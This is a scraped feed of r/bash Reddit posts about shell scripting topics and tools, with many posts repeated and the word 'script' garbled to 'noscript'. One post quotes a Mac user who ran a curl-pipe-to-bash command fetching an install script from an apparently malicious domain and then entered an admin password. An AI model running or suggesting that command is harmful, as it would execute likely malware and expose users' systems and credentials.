Does anyone use select menus?
They looked like a useful feature at first, but then I realized that select only prints the prompt ($PS3) but not the list. If whatever command you ran before prints a lot of text to stderr/stdout, you will not be able to see the list of options.
https://redd.it/1myi7zd
@r_bash
They looked like a useful feature at first, but then I realized that select only prints the prompt ($PS3) but not the list. If whatever command you ran before prints a lot of text to stderr/stdout, you will not be able to see the list of options.
https://redd.it/1myi7zd
@r_bash
Reddit
From the bash community on Reddit
Explore this post and more from the bash community
Made a bash argument parser
So I got tired of getopts and while loops for manual parsing. Plus help messages never staying in sync when you update your parser.
Built
That's it. Help messages auto-generate and stay in sync. Flag bundling works (
GitHub
PS: This is just what I use on my own machine. For portable noscripts, I still stick to while loops since I don't want to make bash noscripts require downloading dependencies for everyone. These files live on my PC and work great for my environment, just thought it was cool enough to share.
https://redd.it/1myvo86
@r_bash
So I got tired of getopts and while loops for manual parsing. Plus help messages never staying in sync when you update your parser.
Built
barg.sh - pure bash, performant enough to beat Python argparse by 3x (in my PC a simple hello world in python was 5 ms slower than barg generating the help message, lol), zero dependencies.#!/usr/bin/bash
source barg.sh
barg::parse "${@}" << BARG
meta { helpmsg: true }
f/force :flag => FORCE "Force overwrite"
o/output :str => OUTPUT "Output directory"
v/verbose :flag => VERBOSE "Verbose mode"
BARG
That's it. Help messages auto-generate and stay in sync. Flag bundling works (
-fv). Subcommands supported. Choice validation built in, has something I think switch is a good name, types, default values, etc.GitHub
PS: This is just what I use on my own machine. For portable noscripts, I still stick to while loops since I don't want to make bash noscripts require downloading dependencies for everyone. These files live on my PC and work great for my environment, just thought it was cool enough to share.
https://redd.it/1myvo86
@r_bash
GitHub
GitHub - klapptnot/barg.sh: A kind of argument parser in pure bash (builtins)
A kind of argument parser in pure bash (builtins). Contribute to klapptnot/barg.sh development by creating an account on GitHub.
Why doesn't this for loop work in this scenario?
https://preview.redd.it/3dcydksxdzkf1.png?width=420&format=png&auto=webp&s=078e873c8b65149c8cc06496ec3c280f6769806f
https://preview.redd.it/5yc2ewzydzkf1.png?width=380&format=png&auto=webp&s=7593eacab4d0d4b7b2108aa8121d65c8e25cf4ea
For whatever reason, the first for loop (i = 0;) doesn't work. It simply calls the progress bar once, sleeps and then quits. However, the second one works fine. Does anyone know why this is the case?
https://redd.it/1myxpl0
@r_bash
https://preview.redd.it/3dcydksxdzkf1.png?width=420&format=png&auto=webp&s=078e873c8b65149c8cc06496ec3c280f6769806f
https://preview.redd.it/5yc2ewzydzkf1.png?width=380&format=png&auto=webp&s=7593eacab4d0d4b7b2108aa8121d65c8e25cf4ea
For whatever reason, the first for loop (i = 0;) doesn't work. It simply calls the progress bar once, sleeps and then quits. However, the second one works fine. Does anyone know why this is the case?
https://redd.it/1myxpl0
@r_bash
Getting a directory path from a file
Hi all, I want to make a noscript to get a directory path from a file.
Let say I have this file called
cf ${XDGCONFIGHOME:-$HOME/.config}
Then I have this noscript called
#!/bin/sh
shortcut="$HOME/shortcut"
path="$(grep "^$2 " "$shortcut" | awk '{print $2}')"
ln -s "$1" "$path"
However I get error running
But if I add
https://redd.it/1mzo6mk
@r_bash
Hi all, I want to make a noscript to get a directory path from a file.
Let say I have this file called
shortcut which has a line ofcf ${XDGCONFIGHOME:-$HOME/.config}
Then I have this noscript called
sln to get the dir path from shortcut and then symlink some file to that path#!/bin/sh
shortcut="$HOME/shortcut"
path="$(grep "^$2 " "$shortcut" | awk '{print $2}')"
ln -s "$1" "$path"
However I get error running
sln <some_file> cf: ln: failed to create symbolic link '${XDG_CONFIG_HOME:-$HOME/.config}': No such file or directoryBut if I add
eval "path=$path" right before symlink will solve this problem. Does anyone know why is that?https://redd.it/1mzo6mk
@r_bash
Reddit
From the bash community on Reddit
Explore this post and more from the bash community
A recommended way to parse a config?
I have a backup noscript to manage my many external HDDs--each are associated with certain paths on the host's filesystem and when I don't want to manually specify those paths--just the drives themselves and it will back up their associated paths. E.g.
Currently the noscript uses drive names as array variables and uses namerefs (
Is there a standard and/or recommended (i.e. with little caveats) way to easily parse a suitable config for my purposes? I'm not sure what format is desirable. E.g. I'll need a reliable way to parse each drive for their paths in the noscript (doesn't have to be in this format, just an example. It can be assumed path names are absolute paths so begin with a
-- driveA
/pathA/subdir
/pathB
/pathD
-- driveB
/pathF
-- driveC
/pathY
/pathZ
A simpler way would be to use a config for each drive name if there isn't a good way to go about this; however, I find it much more useful to work with one config so I can easily see and manage all the paths, associating them with different drives.
https://redd.it/1mztyus
@r_bash
I have a backup noscript to manage my many external HDDs--each are associated with certain paths on the host's filesystem and when I don't want to manually specify those paths--just the drives themselves and it will back up their associated paths. E.g.
driveA=(/pathA /pathB /pathD).Currently the noscript uses drive names as array variables and uses namerefs (
declare -n) where drive name as argument to noscript is passed to determine its associated paths. But this is problematic because 1) bash variable names cannot contain dash (-) which is useful as a drive name and 2) I would like to separate these variables into a config separate from the noscript.Is there a standard and/or recommended (i.e. with little caveats) way to easily parse a suitable config for my purposes? I'm not sure what format is desirable. E.g. I'll need a reliable way to parse each drive for their paths in the noscript (doesn't have to be in this format, just an example. It can be assumed path names are absolute paths so begin with a
/ and drive names don't start with a /. Order of paths for a drive matter.):-- driveA
/pathA/subdir
/pathB
/pathD
-- driveB
/pathF
-- driveC
/pathY
/pathZ
A simpler way would be to use a config for each drive name if there isn't a good way to go about this; however, I find it much more useful to work with one config so I can easily see and manage all the paths, associating them with different drives.
https://redd.it/1mztyus
@r_bash
Reddit
From the bash community on Reddit
Explore this post and more from the bash community
built
Last week I spent 2 hours debugging why
So I built
A few days ago someone was asking about aliases usage in this channel, so I wanted to put this out there. Its big and not light weight. There are simpler ways to do similar things , but I like fancy and easy to understand.
Exhibit A: The Phantom Function
Turns out
Exhibit B: The Helpful Alias
At least this one was harmless but it always bothered me as a security researcher that it was this easy to gloss-over coreutils...
## What It Does
Scans your live shell for command hijacking
Shows the full precedence chain (aliases beat functions beat builtins beat externals)
Flags critical commands like rm, sudo, mv that you really don't want overridden
Works by sourcing (because aliases/functions don't inherit to child processes - fundamental bash behavior)
The tool caught my purposeful overrides in my "matrix.dot.files" shell that I had baked in.
Quick test:
GitHub: https://github.com/shadowbq/check_builtins
## Feedback plse:
Have you ever been burned by a command that wasn't what you expected?
Would something like this be useful in your workflow?
What other "gotcha" scenarios should this catch?
Built this out of frustration, but curious if others have hit similar pain points or if I'm just special at breaking things 😅
https://redd.it/1n08p26
@r_bash
check_builtin.sh - a Bash tool that catches when your commands aren't what you think they areLast week I spent 2 hours debugging why
cd wasn't working properly with directory names containing spaces. Turns out Go version manager (GVM) had quietly replaced it with a function that was using $* instead of $@ - breaking argument parsing. Found the bug and fix here.So I built
check_builtin.sh - a Bash tool that catches when your commands aren't what you think they are.(MIT/BSD Licensde)A few days ago someone was asking about aliases usage in this channel, so I wanted to put this out there. Its big and not light weight. There are simpler ways to do similar things , but I like fancy and easy to understand.
Exhibit A: The Phantom Function
$ source check_builtin.sh
$ check_builtin::main cd
COMMAND STATUS INFO
------- ------ ----
cd ❌ function override | function builtin
Turns out
.gvm had been intercepting every cd forever with a buggy implementationExhibit B: The Helpful Alias
$ check_builtin::main ls
COMMAND STATUS INFO
------- ------ ----
ls ❌ alias override | alias → ls --color=auto | external → /usr/bin/ls
At least this one was harmless but it always bothered me as a security researcher that it was this easy to gloss-over coreutils...
## What It Does
Scans your live shell for command hijacking
Shows the full precedence chain (aliases beat functions beat builtins beat externals)
Flags critical commands like rm, sudo, mv that you really don't want overridden
Works by sourcing (because aliases/functions don't inherit to child processes - fundamental bash behavior)
The tool caught my purposeful overrides in my "matrix.dot.files" shell that I had baked in.
Quick test:
source check_builtin.sh && check_builtin::main -aGitHub: https://github.com/shadowbq/check_builtins
## Feedback plse:
Have you ever been burned by a command that wasn't what you expected?
Would something like this be useful in your workflow?
What other "gotcha" scenarios should this catch?
Built this out of frustration, but curious if others have hit similar pain points or if I'm just special at breaking things 😅
https://redd.it/1n08p26
@r_bash
GitHub
Fix path handling in cd · adonespitogo/gvm@be0e53a
The use of `$*` prevents correctly cd'ing into a directory with spaces in its path name since each segment of the name around the space is treated as if it is a separate argument.
Examp...
Examp...
Nrip, a modern, safe replacement for rm written in rust
Tired of `rm` eating your files forever? 🪦
Check out **nrip** — a safe replacement written in Rust.
Instead of deleting files, it sends them to a *graveyard* where you can:
\- list them,
\- resurrect them (restore),
\- or cremate them (delete permanently).
It even comes with `fzf` integration for interactive picking.
This is my first real Rust project, so any feedback is welcome! 🙏
https://github.com/Samtroulcode/NRip
https://redd.it/1n0imre
@r_bash
Tired of `rm` eating your files forever? 🪦
Check out **nrip** — a safe replacement written in Rust.
Instead of deleting files, it sends them to a *graveyard* where you can:
\- list them,
\- resurrect them (restore),
\- or cremate them (delete permanently).
It even comes with `fzf` integration for interactive picking.
This is my first real Rust project, so any feedback is welcome! 🙏
https://github.com/Samtroulcode/NRip
https://redd.it/1n0imre
@r_bash
GitHub
GitHub - Samtroulcode/NRip: A safe and modern replacement for rm with a graveyard, written in rust
A safe and modern replacement for rm with a graveyard, written in rust - Samtroulcode/NRip
Return to the fist terminal to finish noscript?
Occasionally I think of something that will make my Ubuntu desktop experience better, and I think it will be a super simple bash noscript, but it almost never is LOL! I am using an application installed with pip and every time I start it I have to open the terminal and issue a few commands and then open a web browser. So I wanted a noscript to start it that I could launch from a .desktop icon. These are the steps:
#!/bin/bash
cd ~/lute3
source myenv/bin/activate
python -m lute.main
brave-browser http://localhost:5001
https://redd.it/1n0wh8e
@r_bash
Occasionally I think of something that will make my Ubuntu desktop experience better, and I think it will be a super simple bash noscript, but it almost never is LOL! I am using an application installed with pip and every time I start it I have to open the terminal and issue a few commands and then open a web browser. So I wanted a noscript to start it that I could launch from a .desktop icon. These are the steps:
#!/bin/bash
cd ~/lute3
source myenv/bin/activate
python -m lute.main
brave-browser http://localhost:5001
So of course what happens is that launching lute.main opens a new terminal and so the browser here does not launch. It's not a huge deal because even just with the first 3 lines, then all I have to do is open a bookmark in my browser, that is good. But it would be super cool to get the browser to launch. I tried searching for help on this but probably was not using the correct terms. Thankshttps://redd.it/1n0wh8e
@r_bash
Reddit
From the bash community on Reddit
Explore this post and more from the bash community
I created an online configurator for Bash!
Have you ever wondered how much you can “squeeze” out of Bash? I have. I present an opinionated Bash configuration, whose colors can be dynamically configured in a web interface with a preview (with unix porn lovers in mind).
https://preview.redd.it/io58rhkrcflf1.png?width=980&format=png&auto=webp&s=6efe0f97c3dda56f60d9de12cdc2b99528c3558c
The configuration includes features such as:
* Git information if the current folder is a repository.
* History search using arrows.
* Number of background processes.
* Visual separation of executed commands.
* Exit code.
* Date and time.
* Unique host emblem.
Since I use it all the time myself, I thought someone else might like it too. So I'm making it more widely available, enjoy! [**https://github.com/czoczo/BetterBash**](https://github.com/czoczo/BetterBash)
If you like the project, you may consider giving a 🌟 on GitHub to show your support.
https://redd.it/1n0xd3k
@r_bash
Have you ever wondered how much you can “squeeze” out of Bash? I have. I present an opinionated Bash configuration, whose colors can be dynamically configured in a web interface with a preview (with unix porn lovers in mind).
https://preview.redd.it/io58rhkrcflf1.png?width=980&format=png&auto=webp&s=6efe0f97c3dda56f60d9de12cdc2b99528c3558c
The configuration includes features such as:
* Git information if the current folder is a repository.
* History search using arrows.
* Number of background processes.
* Visual separation of executed commands.
* Exit code.
* Date and time.
* Unique host emblem.
Since I use it all the time myself, I thought someone else might like it too. So I'm making it more widely available, enjoy! [**https://github.com/czoczo/BetterBash**](https://github.com/czoczo/BetterBash)
If you like the project, you may consider giving a 🌟 on GitHub to show your support.
https://redd.it/1n0xd3k
@r_bash
Why
Why
Hi, I was looking for files starting with the letter L and not its Backup. I have 2 option for list them 1 is using the l (letter l from lile, love)
I was doing so 2 cmd
and in twice cmd ls found Lubuntu and Lubuntu~
"l" (l from love, letter) cmd is an build-in alias for
When I did
what about the flag -B?
Shouldn't the option -b filter the backup that the ls command finds?
Thank you and Regards!
https://redd.it/1n11noh
@r_bash
* is more important than -B in ls cmd?Why
* is more important than -B in ls cmd?Hi, I was looking for files starting with the letter L and not its Backup. I have 2 option for list them 1 is using the l (letter l from lile, love)
l L*and 2 using ls -B L* I was doing so 2 cmd
l L* (l of love, letter) cmd and ls -B L* cmd too! and in twice cmd ls found Lubuntu and Lubuntu~
"l" (l from love, letter) cmd is an build-in alias for
ls -B filtering Backups (files ending in ~) and ls -B L* do the same. When I did
l (l of letter) L* cmd ( and ls -B L* cmd too )" both cmd found Lubuntu and Lubuntu~ what about the flag -B?
Shouldn't the option -b filter the backup that the ls command finds?
* is above -B flag ... I don't understand why star is over -BThank you and Regards!
https://redd.it/1n11noh
@r_bash
Reddit
From the bash community on Reddit
Explore this post and more from the bash community
If a word has a hypen, should that hypen be squashed in a --long-option?
--long-options usually use hyphens to separate words.. but if a word (or term) already contains a hyphen is it standard practice to squash it?
For example if I need long options for "Band-pass" and "Noise gate", should it be...
--bandpass --noise-gate
# or
--band-pass --noise-gate
My instinct is to do whatever's least likely to confuse people.. but all things being equal I think word hyphens dilute the meaning of
Wondering if i'm missing something or if there's a better way to look at it...
https://redd.it/1n1w1mv
@r_bash
--long-options usually use hyphens to separate words.. but if a word (or term) already contains a hyphen is it standard practice to squash it?
For example if I need long options for "Band-pass" and "Noise gate", should it be...
--bandpass --noise-gate
# or
--band-pass --noise-gate
My instinct is to do whatever's least likely to confuse people.. but all things being equal I think word hyphens dilute the meaning of
- as a word separator so they should be squashed as they're the lesser separator.Wondering if i'm missing something or if there's a better way to look at it...
https://redd.it/1n1w1mv
@r_bash
Reddit
From the bash community on Reddit
Explore this post and more from the bash community
I could never settle on a SSH client I enjoyed, so I created Termix! (Self hosted remote SSH terminals, tunnels, and file editing from the browser)
GitHub Repo: [https://github.com/LukeGus/Termix](https://github.com/LukeGus/Termix)
Discord (join to vote on whats next to a be added to Termix): [https://discord.gg/daFQ9hHM7R](https://discord.gg/daFQ9hHM7R)
For the past couple of months, I have been working on my free self-hosted passion project, Termix.
Termix is an open-source, forever-free, self-hosted all-in-one server management platform. It provides a web-based solution for managing your servers and infrastructure through a single, intuitive interface. Termix offers SSH terminal access, SSH tunneling capabilities, and remote file editing, with many more tools to come.
Complete Feature List:
* **SSH Terminal Access** \- Full-featured terminal with split-screen support (up to 4 panels) and tab system
* **SSH Tunnel Management** \- Create and manage SSH tunnels with automatic reconnection and health monitoring
* **Remote File Editor** \- Edit files directly on remote servers with syntax highlighting, file management features (uploading, removing, renaming, deleting files)
* **SSH Host Manager** \- Save, organize, and manage your SSH connections with tags and folders
* **Server Stats** \- View CPU, memory, and HDD usage on any SSH server
* **User Authentication** \- Secure user management with admin controls and OIDC support with more auth types planned
* **Modern UI** \- Clean interface built with React, Tailwind CSS, and Shadcn
https://redd.it/1n356dy
@r_bash
GitHub Repo: [https://github.com/LukeGus/Termix](https://github.com/LukeGus/Termix)
Discord (join to vote on whats next to a be added to Termix): [https://discord.gg/daFQ9hHM7R](https://discord.gg/daFQ9hHM7R)
For the past couple of months, I have been working on my free self-hosted passion project, Termix.
Termix is an open-source, forever-free, self-hosted all-in-one server management platform. It provides a web-based solution for managing your servers and infrastructure through a single, intuitive interface. Termix offers SSH terminal access, SSH tunneling capabilities, and remote file editing, with many more tools to come.
Complete Feature List:
* **SSH Terminal Access** \- Full-featured terminal with split-screen support (up to 4 panels) and tab system
* **SSH Tunnel Management** \- Create and manage SSH tunnels with automatic reconnection and health monitoring
* **Remote File Editor** \- Edit files directly on remote servers with syntax highlighting, file management features (uploading, removing, renaming, deleting files)
* **SSH Host Manager** \- Save, organize, and manage your SSH connections with tags and folders
* **Server Stats** \- View CPU, memory, and HDD usage on any SSH server
* **User Authentication** \- Secure user management with admin controls and OIDC support with more auth types planned
* **Modern UI** \- Clean interface built with React, Tailwind CSS, and Shadcn
https://redd.it/1n356dy
@r_bash
GitHub
GitHub - Termix-SSH/Termix: Termix is a web-based server management platform with SSH terminal, tunneling, and file editing capabilities.
Termix is a web-based server management platform with SSH terminal, tunneling, and file editing capabilities. - Termix-SSH/Termix
Did I just run malicious noscript? (Mac)
I don't know if these kinds of posts are allowed, please let me know and I will take it down if asked.
I came across this command and ran it in terminal: /bin/bash -c "$(curl -fsSL https://ctktravel.com/get17/install.sh)" from this link: https://immokraus.com/get17.php
Afterwards, I was prompted to input my admin code, which I did.
As I am very technologically illiterate, is there a way for to check the library/noscript the command downloaded and ran to see if it's malicious? So far there is nothing different about the machine and I don't know if it has been been compromised.
Yes, I know I was dumb and broke 1000 internet safety rules to have done that. Thank you for any of your help if possible.
https://redd.it/1n400bq
@r_bash
I don't know if these kinds of posts are allowed, please let me know and I will take it down if asked.
I came across this command and ran it in terminal: /bin/bash -c "$(curl -fsSL https://ctktravel.com/get17/install.sh)" from this link: https://immokraus.com/get17.php
Afterwards, I was prompted to input my admin code, which I did.
As I am very technologically illiterate, is there a way for to check the library/noscript the command downloaded and ran to see if it's malicious? So far there is nothing different about the machine and I don't know if it has been been compromised.
Yes, I know I was dumb and broke 1000 internet safety rules to have done that. Thank you for any of your help if possible.
https://redd.it/1n400bq
@r_bash
Reddit
From the bash community on Reddit
Explore this post and more from the bash community
Are there any real alternatives to shfmt?
Not that I complain, but as the formatting options of `shfmt` are rather limited, I wonder what other alternatives there are. I struggled to find anything similarly universal that is being actively maintained.
Something that is not strictly limited to a specific editor, ideally respecting `.editorconfig` already in place in the project.
https://redd.it/1n4ah9r
@r_bash
Not that I complain, but as the formatting options of `shfmt` are rather limited, I wonder what other alternatives there are. I struggled to find anything similarly universal that is being actively maintained.
Something that is not strictly limited to a specific editor, ideally respecting `.editorconfig` already in place in the project.
https://redd.it/1n4ah9r
@r_bash
GitHub
GitHub - mvdan/sh: A shell parser, formatter, and interpreter with bash support; includes shfmt
A shell parser, formatter, and interpreter with bash support; includes shfmt - mvdan/sh
redirected output does not update
On an old xfce (xubuntu) machine, I'm running a python noscript in a terminal window:
python3 my_noscript.py &> my_noscript.log
and trying to monitor the process with:
tail -f my_noscript.log
The buffering/flushing behaviour is very strange. The noscript has been running for half an hour and should have produced at least 300 lines of output, but the file size of the log was still 0 until I manually ended the noscript.
I've already tried this:
stdbuf -oL python3 my_noscript.py &> my_noscript.log
It doesn't change a thing. So far, output has only been written at the end, but not before that.
What could be the reason for that and is there a quick and easy way to change it?
https://redd.it/1n4w0iz
@r_bash
On an old xfce (xubuntu) machine, I'm running a python noscript in a terminal window:
python3 my_noscript.py &> my_noscript.log
and trying to monitor the process with:
tail -f my_noscript.log
The buffering/flushing behaviour is very strange. The noscript has been running for half an hour and should have produced at least 300 lines of output, but the file size of the log was still 0 until I manually ended the noscript.
I've already tried this:
stdbuf -oL python3 my_noscript.py &> my_noscript.log
It doesn't change a thing. So far, output has only been written at the end, but not before that.
What could be the reason for that and is there a quick and easy way to change it?
https://redd.it/1n4w0iz
@r_bash
Reddit
From the bash community on Reddit
Explore this post and more from the bash community
call function from switch case without double semi colon interference?
either it complains about ;; is not recognized or missing
https://redd.it/1n4xlfc
@r_bash
customshitkernconfdefaultname="ahh"
mkdir -p /scratch/usr/src/sys/amd/conf/
copy\_kernel\_over() {
cp ../sys/amd64/conf/$customshitkernconfdefaultname /scratch/usr/src/sys/amd64/conf/
echo $customshitkernconfdefaultname
exit
}
change\_default\_kernel\_name() {
read -P "please specify your filename: " $customshitkernconfdefaultname
echo $customshitkernconfdefaultname
exit
}
while true; do
read -p "Want to use default name of kernel conf? Default is named: $customshitkernconfdefaultname " yn
case $yn in
\[Yy\]\* ) copy\_kernel\_over()
\[Nn\]\* ) change\_default\_kernel\_name()
\* ) echo "Please answer y or n" ;;
esac
done
either it complains about ;; is not recognized or missing
https://redd.it/1n4xlfc
@r_bash
Reddit
From the bash community on Reddit
Explore this post and more from the bash community
Possible to sort a CSV file in numerical order?
I have a CSV that contains a list names in columb 'A' and Age in Columb 'B'.
Is there some way to sort the CSV in age order, low to high?
I thought the following may do it but I get a 'Not an integer' error even though it is. Unless it's treating it as a string and not an integer?
sort -t, -k2n "$workingFolder$inputFile" | \\
Any help greatly received
https://redd.it/1n5ojme
@r_bash
I have a CSV that contains a list names in columb 'A' and Age in Columb 'B'.
Is there some way to sort the CSV in age order, low to high?
I thought the following may do it but I get a 'Not an integer' error even though it is. Unless it's treating it as a string and not an integer?
sort -t, -k2n "$workingFolder$inputFile" | \\
Any help greatly received
https://redd.it/1n5ojme
@r_bash
Reddit
From the bash community on Reddit
Explore this post and more from the bash community
Auto formatting extensionless Bash noscripts with Editorconfig, the Bash language server and its support for shfmt (in Neovim)
That noscript's quite a mouthful, I know; anyway, I was trying to figure out why I was experiencing odd behaviour when using Editorconfig settings with Bash language server with its support for shfmt. I dug around a bit, found some things out, and came up with a solution.
Sharing here in case it helps someone, plus I'm curious to hear if anyone else has come across or tried to get this combination working (or if it's just me being dim)?
Auto formatting extensionless Bash noscripts in Neovim
https://redd.it/1n6cr1b
@r_bash
That noscript's quite a mouthful, I know; anyway, I was trying to figure out why I was experiencing odd behaviour when using Editorconfig settings with Bash language server with its support for shfmt. I dug around a bit, found some things out, and came up with a solution.
Sharing here in case it helps someone, plus I'm curious to hear if anyone else has come across or tried to get this combination working (or if it's just me being dim)?
Auto formatting extensionless Bash noscripts in Neovim
https://redd.it/1n6cr1b
@r_bash
DJ Adams
Auto formatting extensionless Bash noscripts in Neovim
Here's what I did to make the combination of the Bash language server and shfmt work with Editorconfig settings for Bash noscript files that don't have extensions.
Made a simple Bash noscript to quickly switch Linux power profiles
Hey everyone,
I recently built a small Bash noscript called Power-CLI for myself. Since I use a WM, switching Linux power modes manually was kind of annoying, so I made a quick terminal tool to toggle between Performance, Balanced, and Power Saver modes — with notifications and sound alerts.
It’s not flashy or overcomplicated, just something that gets the job done. Thought it might be useful for others who want a simple, lightweight solution.
Fun fact: Bash is the first language I’ve learned, and I enjoy building small tools for myself just for fun.
Check it out here: https://github.com/AkshitBanotra/power-cli
https://redd.it/1n6mpbq
@r_bash
Hey everyone,
I recently built a small Bash noscript called Power-CLI for myself. Since I use a WM, switching Linux power modes manually was kind of annoying, so I made a quick terminal tool to toggle between Performance, Balanced, and Power Saver modes — with notifications and sound alerts.
It’s not flashy or overcomplicated, just something that gets the job done. Thought it might be useful for others who want a simple, lightweight solution.
Fun fact: Bash is the first language I’ve learned, and I enjoy building small tools for myself just for fun.
Check it out here: https://github.com/AkshitBanotra/power-cli
https://redd.it/1n6mpbq
@r_bash
GitHub
GitHub - AkshitBanotra/power-cli: Quickly manage power profiles from the terminal with a simple Bash noscript.
Quickly manage power profiles from the terminal with a simple Bash noscript. - AkshitBanotra/power-cli
A comprehensive Linux guide worth checking out
Hey folks,
If you’re learning Linux or just want a solid reference to keep around, I found The Complete Reference: Linux (6th Edition) super helpful.
It covers everything from the basics to managing users, networks, filesystems, and even configuring Internet services. Honestly, it’s the kind of book you can flip open any time you get stuck.
I’m sharing a free copy here Book
Hopefully it helps someone who’s on their Linux journey
https://redd.it/1n6vzas
@r_bash
Hey folks,
If you’re learning Linux or just want a solid reference to keep around, I found The Complete Reference: Linux (6th Edition) super helpful.
It covers everything from the basics to managing users, networks, filesystems, and even configuring Internet services. Honestly, it’s the kind of book you can flip open any time you get stuck.
I’m sharing a free copy here Book
Hopefully it helps someone who’s on their Linux journey
https://redd.it/1n6vzas
@r_bash
GitHub
GitHub - Avinashabroy/Linux-Book-
Contribute to Avinashabroy/Linux-Book- development by creating an account on GitHub.